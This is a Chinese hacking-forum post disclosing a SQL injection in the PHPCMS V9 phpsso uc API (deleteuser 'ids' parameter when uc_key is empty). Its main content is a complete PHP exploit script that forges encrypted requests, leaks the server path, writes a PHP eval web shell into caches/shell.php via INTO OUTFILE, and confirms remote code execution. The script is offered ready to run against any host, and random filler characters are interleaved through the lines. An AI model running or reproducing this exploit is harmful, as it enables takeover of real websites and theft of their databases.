找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2084|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
7 v+ r3 w! ?. d' g. e) b
- {" \' ^0 R- X( @2 U: e所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 I  ?, j8 T6 x  \, Z& A

3 C3 W) s1 X9 L! k6 M6 f漏洞分析:
! T! B# V3 ~" ]! I1.未启用ucenter服务的情况下uc_key为空
3 P* p5 s& ~: m5 ?6 A4 fdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
+ E# H) f. X8 X9 b8 c- Q6 k# Z2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。2 r- g2 }& l+ ]
    public function deleteuser($get,$post) {
1 A+ t7 n' E8 m' ~        pc_base::load_app_func('global', 'admin');6 v! y+ L$ R. v2 c; n% S: T
        pc_base::load_app_class('messagequeue', 'admin' , 0);; J7 \8 \( D6 I0 L. O1 }
        $ids = new_stripslashes($get['ids']);
0 K' A3 i, W$ \/ v        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
% i9 _; g; ?2 a3 I7 p  [/ _0 C, \SQL语句为
" _" i; @4 A+ F; M: I" D, y. PSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)! i) m9 g3 v% I4 X' L) `" H
5 Y; J  d% g1 i3 U9 }2 u
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
1 j6 @4 S! S  L1 c: z( }<?php8 j0 E3 f, N" A. S1 R
print_r('6 {1 w) g" b0 b9 T5 s( e7 ~& n
---------------------------------------------------------------------------, A$ F8 R! `7 ~( M. H( U+ c
PHPcms (v9 or Old Version) uc api sql injection 0day3 ?3 K9 F7 B  n5 Q
by rayh4c#80sec.com
, d: w& s  R! U3 `" `---------------------------------------------------------------------------
3 e5 ?; t6 P% b, x1 _& a: R; s1 _');
" r, a/ f) E7 E+ }3 h0 R; \0 A$ L1 }
if ($argc<3) {
8 B9 K" ?7 f* j    print_r('
% k# d0 P9 }/ W- B1 {1 b5 p---------------------------------------------------------------------------9 h3 {+ J( D" s+ r: d6 U
Usage: php '.$argv[0].' host path OPTIONS3 C* }' N( I8 K* |0 r5 U& t
host:      target server (ip/hostname)! s; R$ C+ a+ f) m
path:      path to phpcms! n% X8 y) `% q. l
Options:
, g; q* x7 N5 s -p[port]:    specify a port other than 80
: F3 z: z5 M$ ?8 i  \7 T  g -P[ip:port]: specify a proxy( d* q* L* e4 U3 s$ p5 c2 q& E
Example:+ H. F2 }) G0 t) }4 m
php '.$argv[0].' localhost /! g# {7 x! V  D4 Z  S3 N7 ?
php '.$argv[0].' localhost /phpcms/ -p81; n( i8 q0 B- C) ?4 N- X) J6 Y
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) v: m# U7 [8 Y' \---------------------------------------------------------------------------, L" Z0 z0 _1 O4 p
');9 t" N0 b6 m$ M; {3 q4 M
    die;& W" p; S# d  Z0 B
}
  g' u9 ?7 v+ M  ^* Q' g6 V& g  j  m) `* C
error_reporting(7);
+ m' Y! U- e, }. wini_set("max_execution_time",0);
* d' W& v- D. x& i0 M$ e; J3 O3 j- Nini_set("default_socket_timeout",5);
- O1 ]  L5 i2 {% |* {" M: e& m/ R
1 s( O" {+ B3 U0 Z7 a6 I  \; N# H2 M/ dfunction quick_dump($string)( j  S& n1 r( K$ q
{0 z5 N. C# m- ]' s
  $result='';$exa='';$cont=0;) Q3 @1 }; s0 I# o# }
  for ($i=0; $i<=strlen($string)-1; $i++)
4 M. [8 Q' F5 R6 x4 \  {
8 c3 ?6 e; \0 d- E, l8 U' @   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )); s2 v  O( T5 y# \3 ]9 s. N' P  `
   {$result.="  .";}
/ b" J0 l% E3 ]5 m   else
0 c8 i+ ?) ?! [% q! W! D4 ]/ p+ A/ b   {$result.="  ".$string[$i];}! M0 w# l4 ]# A6 `
   if (strlen(dechex(ord($string[$i])))==2)
7 {  {7 b/ S: p* q" o7 E& H   {$exa.=" ".dechex(ord($string[$i]));}2 n. S/ p0 ?0 o2 c3 f
   else
+ w' `! b5 h$ U" f) O0 ^; V8 w, ]   {$exa.=" 0".dechex(ord($string[$i]));}5 N  D( D; }3 |8 g* k; L
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
; y) [7 u! D5 v% W0 c( `  }" z+ |0 `7 h/ O1 X3 Y1 ^
return $exa."\r\n".$result;
0 _9 p8 y6 ?1 h, M' `" G+ U9 `8 C; G0 t}
! B5 D; i" Z8 C3 q4 Q5 Q7 _$ U$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
! f5 I6 t8 @% t% Z* I5 Y
2 G  E& z+ m, h/ W9 F( N; jfunction send($packet)
5 F. G* M! ~6 Z! J{
4 r; t2 C% u; L+ ^" R9 D6 O& ]  global $proxy, $host, $port, $html, $proxy_regex;
0 _5 n6 ]' w) d  if ($proxy=='') {
8 x/ [: i( |, e1 I! r/ r$ [4 t- k    $ock=fsockopen(gethostbyname($host),$port);
9 c6 r# e5 F0 k; @    if (!$ock) {: |$ R$ v3 t1 k
      echo 'No response from '.$host.':'.$port; die;( b# {6 X  k  }, c8 k
    }. P- W4 T/ i! c. v# z
  }+ f* j! p+ p1 u" }4 C5 ~& r
  else {5 \3 u& g& G/ O8 Q+ {
        $c = preg_match($proxy_regex,$proxy);) M8 q' O+ {7 M) `3 P# L
    if (!$c) {
* f9 {$ `. J9 H2 F  n      echo 'Not a valid proxy...';die;
5 \. U* S; }) ?! s. s5 a5 ]    }
# D+ S8 l0 H; k% ]5 ~    $parts=explode(':',$proxy);
$ D0 H  I3 v# [$ C' N8 z$ Y    $parts[1]=(int)$parts[1];
" k( u! ?5 q: S4 f. W8 ~- o    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
0 m7 l$ u$ c  e6 M    $ock=fsockopen($parts[0],$parts[1]);
, x+ _. O9 g) Z$ v    if (!$ock) {
  R; q5 e" \% }! K+ F$ d      echo 'No response from proxy...';die;8 A& B; l+ @0 C2 \! L% v: {, O
        }
( L+ {7 [" z) \+ Y7 \0 o5 ]  }$ t5 R- r/ w6 L. n
  fputs($ock,$packet);  E7 Y# l/ s6 C6 f4 l
  if ($proxy=='') {( }9 p5 p3 _9 r3 i; [
    $html='';& o% _) [1 L: _8 _3 D% c$ o# e
    while (!feof($ock)) {. Q) `% ?, l9 O" q
      $html.=fgets($ock);  V8 c* ?' w0 I1 x7 |1 y7 R& A
    }2 M# b( q0 c( D5 ~5 L
  }
, r, Q6 Y' E' g  else {+ w/ e) x' `1 R  S
    $html='';% j; J2 m! ]; U" H' h
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
! x6 L& a' g6 i' B0 s+ _7 ^. E0 N6 `      $html.=fread($ock,1);4 S0 x& b, |2 Z% M, G7 n' V
    }
5 g+ ~4 k, o( S9 J* [( c- [2 B' S9 _  }2 ^$ E$ j2 D7 `9 V$ R, E( \
  fclose($ock);
+ k9 R4 {7 q/ T# I8 Q. c9 x}
/ Q. U+ I' i. m# k6 @* K! [6 a, d/ ^& @+ `$ x
$host=$argv[1];
1 A! ~( ]' x3 v5 H2 o$path=$argv[2];
7 h; L& H6 C( o  Z$port=80;
1 X$ l/ e2 b! u2 W$proxy="";0 X) U/ p( a) M# K" j+ [+ U
for ($i=3; $i<$argc; $i++){, t* N/ |) a8 S3 |
$temp=$argv[$i][0].$argv[$i][1];0 `) O  ^% j$ X1 V
if ($temp=="-p")# p& C! W  k+ h3 [& f+ Z7 j4 x
{
9 V! {+ o# k" S3 U3 ~7 k) y: M. E  $port=(int)str_replace("-p","",$argv[$i]);7 _; G9 D. ?$ X1 {: ]: s) O! F
}
& x2 f* F) l/ @if ($temp=="-P")
7 F+ H/ e- F+ m$ C) Y{/ B5 K6 u& g# x- W% |+ a3 ~" b
  $proxy=str_replace("-P","",$argv[$i]);
0 ^/ B6 q1 `# i8 K, V! D}
7 w5 F2 w3 @, b}7 c  ^- O3 {3 t- c, G) y
; Y& e/ W5 U: ~4 |  [
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
" }5 G' [* c$ H8 a0 k- Nif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}8 I! W  K, I5 v3 U8 _
( Z6 X: m" p! c% Y# D+ m; \
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
* {( ]% O" {- g  V
- a# l, u6 i- G! R) _  n4 k. t    $ckey_length = 4;$ y7 B3 R, B/ n% G4 |$ T
, T6 O9 T9 u4 @9 w- i- m  b
    $key = md5($key ? $key : '');! m! W5 X! ~) X1 K  L) s7 G
    $keya = md5(substr($key, 0, 16));. U- `: g: X( F+ A; E- b* o
    $keyb = md5(substr($key, 16, 16));" v  @! V0 m. s! A+ C" N0 L
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';6 y! \! |) ~4 o" i

% X: G( n5 K% K    $cryptkey = $keya.md5($keya.$keyc);6 v2 V+ f: C3 B% B# [
    $key_length = strlen($cryptkey);& Y0 [& @" M1 V! f6 X) T! j2 d

0 A# g- S4 J+ [* O" i8 U1 S    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
& G3 y2 ^& q" w# w) }( t2 q    $string_length = strlen($string);& S, u5 ~. {, I, Z! f
4 s! T6 O9 u! N& \% a: u
    $result = '';
# o* Q$ x! \: ?, }* P    $box = range(0, 255);
5 V3 D; h0 {' g, K
1 K' r( U5 ], g) m    $rndkey = array();
+ `2 ?% j" K. F- [, C7 ^    for($i = 0; $i <= 255; $i++) {
6 p: m  D- u1 _2 o0 D1 k$ d        $rndkey[$i] = ord($cryptkey[$i % $key_length]);& u! n4 t" Y, f1 o- c* R
    }
" i5 m2 S( k; O; Y, X6 X3 J$ X5 @9 l# }  x* Z- j( t
    for($j = $i = 0; $i < 256; $i++) {
( d9 \$ P+ \, J7 j. j        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
6 t( H. v7 Y- L& r  y! N        $tmp = $box[$i];' w5 {# M5 e0 |9 y! ?; x% E2 A& k
        $box[$i] = $box[$j];
) ~. G% I& Y& o/ b! p: T# }        $box[$j] = $tmp;
0 v; h/ L# Z: _. d, j    }
" ?' m) l8 {0 {- h  W) E9 j) p' I7 G) P( r
    for($a = $j = $i = 0; $i < $string_length; $i++) {! ~$ d) v& D9 Z$ o& U( ?& K' \
        $a = ($a + 1) % 256;
% U& _! N9 B  \0 f, d/ |        $j = ($j + $box[$a]) % 256;: T0 e$ z9 g" q- Z, A
        $tmp = $box[$a];
9 F5 Q$ X! W' T7 k! C' s        $box[$a] = $box[$j];
5 J- E) N' f) A& J        $box[$j] = $tmp;
' m2 z7 M7 |; v1 d        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
2 K% l' M; Z% E" x8 R* T4 x. V4 D3 h    }: r1 n' x9 w- P% i4 [: x7 F. k0 J. n* K

+ v3 E) G) s# m# o! }! r    if($operation == 'DECODE') {) ]$ D3 i' v% V2 f$ {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
% p+ M# h/ k2 S3 t0 l  I! V' f! X0 V% K( \            return substr($result, 26);
( O" G0 x( @, m8 n, G: Q9 b0 n) o        } else {
/ R% `# `1 h& p            return '';
$ C7 z: Y, l; W  _; ]* v        }& ~3 c) R& h3 N$ ]
    } else {
# k9 w! R1 P! p' J' P  k        return $keyc.str_replace('=', '', base64_encode($result));
0 J* e/ C% A) W4 [- O    }* a# Y2 r0 Q4 C: V( s
( @/ _# G  z( b" h! c1 T% z
}5 S7 ~2 q3 |- I5 y0 G

. [) l6 ?/ S5 K# t$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
! N  t. T4 ^1 v5 c$SQL = urlencode(authcode($SQL, "ENCODE", ""));: c6 N# B* H+ F+ a3 ?; |  X
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: ~7 E( k- y3 D
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
1 }$ N  k0 ]' r  J$packet.="User-Agent: Mozilla/5.0\r\n";
1 T4 y0 x/ o1 V, v/ k$packet.="Host: ".$host."\r\n";
2 d9 S* p! M' [0 j! G  k$packet.="Connection: Close\r\n\r\n";
" q# n9 Q5 K, P$ k( |* `, `send($packet);! E+ h2 `$ e0 C; m
if(strpos($html,"MySQL Errno") > 0){
; t7 h) n& ]0 h* L# hecho "[2] 发现存在SQL注入漏洞"."\n";; A7 ?4 j$ T9 \# R) T7 p
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
) R8 F; j; [" g7 l% ~8 h( g7 T# t( t8 F$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$ x5 K; O( o. ?1 d$packet.="User-Agent: Mozilla/5.0\r\n";
* H3 `/ x- ^8 B3 Q+ a1 v2 }$packet.="Host: ".$host."\r\n";- I4 @7 P4 }' O2 _# _0 q5 I+ R
$packet.="Connection: Close\r\n\r\n";
8 H  x5 l' w, W! Asend($packet);5 m/ F: e: b# M$ `! |/ k
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
4 l( d) M9 i- A9 t# Q' M% ?//print_r($matches);
* e. S  U7 B0 p) g- E& Sif(!empty($matches)){; K. M2 \/ i2 W: T7 R9 ?+ e
echo "[4] 得到web路径 " . $matches[0]."\n";4 G* }9 x1 D9 ?( l
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";$ `9 r9 f$ c' Q' R" b/ R  v
$SQL = "time=999999999999999999999999&ids=1)";
) {! Z# f3 j) ?% ~5 W  ~3 U$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
1 C: W9 i2 P7 o. }$SQL.="&action=deleteuser";2 Z' Y: I; M; y% d. t
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 {8 g* m& d$ a5 Q# ^
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
" @9 Q& Z* c4 b- x5 k& U' d+ b$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- C  P2 t6 Z# @$packet.="User-Agent: Mozilla/5.0\r\n";/ F+ F$ \- |' y$ O" D% B
$packet.="Host: ".$host."\r\n";
" D7 S1 c# V  @0 x/ \# ]6 x3 @& t$packet.="Connection: Close\r\n\r\n";
! `% W/ o" q/ vsend($packet);2 D, V2 B0 E/ q& i; O& i# S0 C
if(strpos($html,"Access denied") > 0){. o1 M. B& g$ E6 j
echo "[-] MYSQL权限过低 禁止写入文件 ";
" Z5 |+ J0 y1 u; N% r0 D0 tdie;
, I" d; A& f9 C6 D6 r}
) N- L8 F7 b7 p6 B1 ~2 L9 E$ Fecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
4 @. C4 O' }8 `$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";$ N. N& K7 y) l# O$ s
$packet.="User-Agent: Mozilla/5.0\r\n";
, m$ V# _# u" [& l) S$packet.="Host: ".$host."\r\n";
$ \7 T5 }- D2 Q. A/ R: ]$packet.="Connection: Close\r\n\r\n";
2 l% e! h) y7 y) A: {send($packet);
1 j" M% I9 `# c& |* x8 Rif(strpos($html,"<title>phpinfo()</title>") > 0){5 j# o+ ^; p; W0 x
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";5 t; u- I& s  V3 m, X/ G0 ?
}
0 d/ R3 D) u* ?/ L; j8 H' d}else{
5 d8 n' `* _0 q5 J5 D5 s& D0 v" xecho "[-]未取到web路径 ";
  w+ ?3 s+ E8 _}
, U7 J$ U8 x! |/ t, t$ ?2 e}else{5 O3 e9 V1 w/ q) T% y$ T' k! }
echo "[*]不存在SQL注入漏洞"."\n";
1 G( D1 e# g& W5 o3 P" t- N}" q8 w+ I, g7 ~) s, b1 {/ ?: p
( z" x1 O: r7 u* {, J! X! ^
?>
' Y- N2 }3 {: x+ K$ g( [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表